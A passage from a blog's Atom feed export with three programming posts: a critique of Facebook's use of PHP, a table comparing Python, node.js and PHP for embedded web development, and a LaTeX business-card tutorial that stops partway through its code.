&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-1021036173872425373?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/1021036173872425373/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2011/04/your-language-sucks-and-about-php-again.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1021036173872425373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1021036173872425373'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2011/04/your-language-sucks-and-about-php-again.html' title='Your Language Sucks (and about PHP again)'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-3815862511883218279</id><published>2011-04-02T17:11:00.000-07:00</published><updated>2011-04-02T17:11:28.084-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='git'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='scalability'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Facebook and PHP</title><content type='html'>There is a common mistake about "If everybody use it, so I also have to use it - millions of people can't be wrong". Apparently, they can, and huge codebase, support and knowledge mean nothing, otherwise we would still use Fortran, Cobol, Basic and other almost died monsters.&lt;br /&gt;
&lt;br /&gt;
Also there is an another common mistake about "If big corporation use it, I also have to use it". It's very doubtful, almost always decision are made in hurry and/or by wrong people and/or without serious consideration. And after some period of time, it's difficult to nullify previous decision because it would require huge efforts. Good example - Facebook.&lt;br /&gt;
&lt;br /&gt;
Let me quote the presentation&amp;nbsp;&lt;a href="http://www.scribd.com/doc/26375470/HipHop-for-PHP-Tech-Tasting"&gt;HipHop for PHP Tech Tasting&lt;/a&gt;:&lt;br /&gt;
&lt;blockquote&gt;
&lt;i&gt;PHP is problematic for Facebook:&lt;/i&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;i&gt;High CPU usage&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;High memory usage&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Reuse of PHP logic in other systems&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Extensions are hard to write for most PHP developers&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
But huge codebase, strange affection towards PHP (in what universe "loose typing and universal array" are good things? better to ask thousands of programmers who spent millions of hours trying to debug anomalies caused by it) and requirement to "move fast" didn't allow Facebook team to move away from PHP. But they found a good solution - they created a &lt;a href="https://github.com/facebook/hiphop-php"&gt;HipHop&lt;/a&gt; transformer:&lt;br /&gt;
&lt;blockquote&gt;
&lt;i&gt;HipHop transforms your PHP source code into highly optimized C++ and then compiles it with g++ to build binary files. You keep coding in simpler PHP, then HipHop executes your source code in a semantically equivalent manner and sacrifices some rarely used features – such as eval() – in exchange for improved performance.&lt;/i&gt;&lt;/blockquote&gt;
I'd like to notice that during the transformation they change loose typing to strong typing (C++ is a strong typed language, type tricks are not allowed), and that only helps them. Also avoiding dangerous techniques like eval() also can be only plus for them.&lt;br /&gt;
&lt;br /&gt;
So, let me sum up. Don't make rash decision, analyze the situation and all variants, don't be blinded by others popularity. Two words - "be smart" :-) It's obvious, but sometimes we forget it.&lt;br /&gt;
&lt;br /&gt;
P.S. To understand Facebook development more clearly, let me list some other Facebook projects on Github:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/facebook/tornado"&gt;Tornado&lt;/a&gt; (Python) -&amp;nbsp;an open source version of the scalable, non-blocking web server and tools that power FriendFeed;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/facebook/pfff"&gt;pfff&lt;/a&gt;&amp;nbsp;(OCaml) - API to write static analysis, dynamic analysis, code visualizations, code navigations, or style-preserving source-to-source transformations such as refactorings on source code;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/facebook/scribe"&gt;Scribe&lt;/a&gt; (C++) &amp;nbsp;- a server for aggregating log data streamed in real time from a large number of servers. It is designed to be scalable, extensible without client-side modification, and robust to failure of the network or any specific machine.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/facebook/cassandra"&gt;Cassandra&lt;/a&gt; (Java) - a distributed storage system for managing structured data while providing reliability at a massive scale. Now developed by Apache commiters and other contributors:&amp;nbsp;&lt;a href="http://cassandra.apache.org/"&gt;http://cassandra.apache.org/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Also there is a good review of the &lt;a href="http://royal.pingdom.com/2010/06/18/the-software-behind-facebook/"&gt;software behind Facebook&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-3815862511883218279?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/3815862511883218279/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2011/04/facebook-and-php.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3815862511883218279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3815862511883218279'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2011/04/facebook-and-php.html' title='Facebook and PHP'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-2252871971007288629</id><published>2011-03-09T21:36:00.001-08:00</published><updated>2011-03-10T07:09:14.927-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Python vs JS vs PHP for embedded systems</title><content type='html'>&lt;p&gt;I've got a question about which programming language is preferable for developing websites in the embedded system (hence with some limited resources). Here is my small investigation in a table form.&lt;/p&gt;
&lt;table border="1"&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&amp;nbsp;&lt;/th&gt;&lt;th&gt;Python&lt;/th&gt;&lt;th&gt;JS (node.js)&lt;/th&gt;&lt;th&gt;PHP&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;th&gt;Runtime Size (Gentoo Linux x86)&lt;/th&gt;&lt;td style="border-style:dotted;"&gt;~1.4Mb (/usr/lib/libpython3.1.so)&lt;/td&gt;&lt;td&gt;~3.2Mb (/usr/lib/libv8.so)&lt;/td&gt;&lt;td&gt;~7Mb (/usr/bin/php)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;Type System&lt;/th&gt;&lt;td style="border-style:dotted;"&gt;Strong Typing&lt;/td&gt;&lt;td&gt;Weak Typing&lt;/td&gt;&lt;td&gt;Weak Typing&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;Vulnerabilities&lt;/th&gt;&lt;td style="border-style:dotted;"&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=python"&gt;86&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=javascript"&gt;732&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=php"&gt;4501&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;Performance&lt;/th&gt;&lt;td&gt;&lt;a href="http://shootout.alioth.debian.org/u32/python.php"&gt;35.42&lt;/a&gt;&lt;/td&gt;&lt;td style="border-style:dotted;"&gt;&lt;a href="http://shootout.alioth.debian.org/u32/javascript.php"&gt;5.35&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://shootout.alioth.debian.org/u32/php.php"&gt;62.45&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;Optimization&lt;/th&gt;&lt;td&gt;&lt;a href="http://psyco.sourceforge.net/introduction.html"&gt;Psyco&lt;/a&gt; (up to 100x)&lt;/td&gt;&lt;td style="border-style:dotted;"&gt;&lt;a href="http://code.google.com/p/v8/"&gt;V8 JavaScript engine&lt;/a&gt; is already optimized&lt;/td&gt;&lt;td&gt;&lt;a href="http://en.wikipedia.org/wiki/List_of_PHP_accelerators"&gt;PHP Accelerators&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;Documentation&lt;/th&gt;&lt;td style="border-style:dotted;"&gt;&lt;a href="http://docs.python.org/"&gt;Excellent&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://nodejs.org/docs/v0.4.2/api/"&gt;Average&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://www.php.net/manual/en/"&gt;Poor&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;C Bindings&lt;/th&gt;&lt;td style="border-style:dotted;"&gt;&lt;a href="http://docs.python.org/library/ctypes.html"&gt;Excellent&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://nodejs.org/docs/v0.4.2/api/addons.html"&gt;Average&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://www.php.net/manual/en/internals2.structure.basics.php"&gt;Poor&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;Code Readability&lt;/th&gt;&lt;td style="border-style:dotted;"&gt;With &lt;a href="http://www.python.org/dev/peps/pep-0008/"&gt;PEP8&lt;/a&gt; it can be perfect&lt;/td&gt;&lt;td&gt;Even with &lt;a href="http://google-styleguide.googlecode.com/svn/trunk/javascriptguide.xml"&gt;Google JavaScript Style Guide&lt;/a&gt; it can be a mess&lt;/td&gt;&lt;td&gt;&lt;a href="http://pear.php.net/manual/en/standards.php"&gt;PEAR Coding Standards&lt;/a&gt; can't help it&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;Debugging&lt;/th&gt;&lt;td style="border-style:dotted;"&gt;&lt;a href="http://docs.python.org/library/debug.html"&gt;Excellent&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://nodejs.org/docs/v0.4.2/api/debugger.html"&gt;Average&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://www.php.net/manual/en/debugger.php"&gt;Poor&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;My totals: Python - &lt;a href="http://www.urbandictionary.com/define.php?term=for+the+win"&gt;FTW&lt;/a&gt;, JS - &lt;a href="http://www.urbandictionary.com/define.php?term=average"&gt;AVG&lt;/a&gt;, PHP - &lt;a href="http://www.urbandictionary.com/define.php?term=kill+me+now"&gt;KMN&lt;/a&gt; :-)&lt;/p&gt;
&lt;p&gt;Additional notes (I didn't include them in the table due to its irrelevance in some cases):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Python is supported on enormous amount of &lt;a href="http://www.python.org/download/other/"&gt;platform&lt;/a&gt;, PHP - on slightly &lt;a href="http://www.php.net/downloads.php"&gt;less&lt;/a&gt;, V8 - only on &lt;a href="http://code.google.com/apis/v8/build.html"&gt;Linux/Windows/MacOSX&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Sometimes compiling V8 can be tricky depending on target platform.&lt;/li&gt;
&lt;li&gt;PHP is highly &lt;a href="http://www.php.net/manual/en/aliases.php"&gt;redundant&lt;/a&gt; and don't have thorough naming conventions for its functions (just take a look to its &lt;a href="http://www.php.net/manual/en/ref.strings.php"&gt;string functions&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;People matter - for example, if you don't have PHP experts in your team, it can be risky to use it for development due to its pitfalls.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I someone want to share ideas and other criteria you're welcome!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-2252871971007288629?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/2252871971007288629/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2011/03/python-vs-js-vs-php-for-embedded.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/2252871971007288629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/2252871971007288629'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2011/03/python-vs-js-vs-php-for-embedded.html' title='Python vs JS vs PHP for embedded systems'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-5511884911952671072</id><published>2011-02-15T12:11:00.000-08:00</published><updated>2011-02-15T12:11:29.866-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><category scheme='http://www.blogger.com/atom/ns#' term='latex'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='design'/><title type='text'>DIY: Business cards in LaTeX</title><content type='html'>Business card can be handy in many cases, and it's not a big deal to create it at home. Let me show one of the methods.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Prerequisites&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
We need to have:
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;matte presentation paper (weight 44 lb/165 g/m&lt;sup&gt;2&lt;/sup&gt; in my case);&lt;/li&gt;
&lt;li&gt;razor paper trimmer (I've used &lt;a href="http://www.xacto.com/Product/26402"&gt;X-ACTO 12" Personal Paper Trimmer&lt;/a&gt;, but can't recommend it - it has a habit to stuck in the middle of the trimming process);&lt;/li&gt;
&lt;li&gt;printer (don't know about laser printers, but ink one works fine for me);&lt;/li&gt;
&lt;li&gt;LaTeX software.&lt;/li&gt;
&lt;/ul&gt;
The last point can be challenging, because LaTeX is not so smooth and user friendly as it can be. My basic recommendations:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;install Perl (it's required by auto-pst-pdf package);&lt;/li&gt;
&lt;li&gt;update/install all the required LaTeX packages (e.g., some Linux distributions provide incredible old LaTeX packages);&lt;/li&gt;
&lt;li&gt;use "-shell-escape" command line option for &lt;b&gt;pdflatex&lt;/b&gt; command;&lt;/li&gt;
&lt;li&gt;if nothing helps, don't use "auto-pst-pdf", but build DVI/PS file, and convert it to PDF.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Single business card&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The code (based on &lt;a href="http://bramp.net/blog/latex-qr-based-business-card"&gt;LaTeX QR Based Business Card&lt;/a&gt;):&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\documentclass[11pt,a4paper]{memoir}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\setstocksize{55mm}{85mm} % UK Stock size&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\setpagecc{55mm}{85mm}{*}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\settypeblocksize{45mm}{75mm}{*}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\setulmargins{5mm}{*}{*}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\setlrmargins{5mm}{*}{*}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\setheadfoot{0.1pt}{0.1pt}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\setheaderspaces{1pt}{*}{*}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\checkandfixthelayout[fixed]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\pagestyle{empty}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\usepackage{pstricks}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\usepackage{auto-pst-pdf,pst-barcode}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\begin{document}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;%\pagecolor[cmyk]{.22,.36,.51,.08}%&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;\begin{Spacing}{0.75}%&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;\noindent&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;\textbf{Alexander~Slesarev}\\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;\rule{74mm}{1mm}\\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;\begin{minipage}[t]{30mm}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\vspace{-1mm}%&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\begin{pspicture}(30mm,30mm)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;% The MECARD format is used to exchange contact information. More information at:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;% http://www.nttdocomo.co.jp/english/service/imode/make/content/barcode/function/application/addressbook/index.html&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\psbarcode{MECARD:N:Slesarev,Alexander;TEL:+16047165085;EMAIL:alex.slesarev@gmail.com;URL:http://nuald.blogspot.com;;}{eclevel=L width=1.15 height=1.15}{qrcode}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\end{pspicture}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;\end{minipage}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;\hspace{1mm}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;\begin{minipage}[t]{42mm}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\vspace{-1mm}%&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\begin{flushleft}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{\scriptsize&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\begin{Spacing}{1}%&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\textbf{IT Specialist}\\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\hspace{5mm}Software Development\\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\hspace{5mm}Security Researcher\\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\hspace{5mm}High Load Systems\vspace{9mm}\\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\end{Spacing}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{\tiny&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\textbf{email:} alex.slesarev@gmail.com\\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\textbf{phone:} 604-716-5085\\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\textbf{web:} http://nuald.blogspot.com/\\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\vspace*{2mm}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\end{flushleft}&lt;/span&gt;&lt;/div&gt;
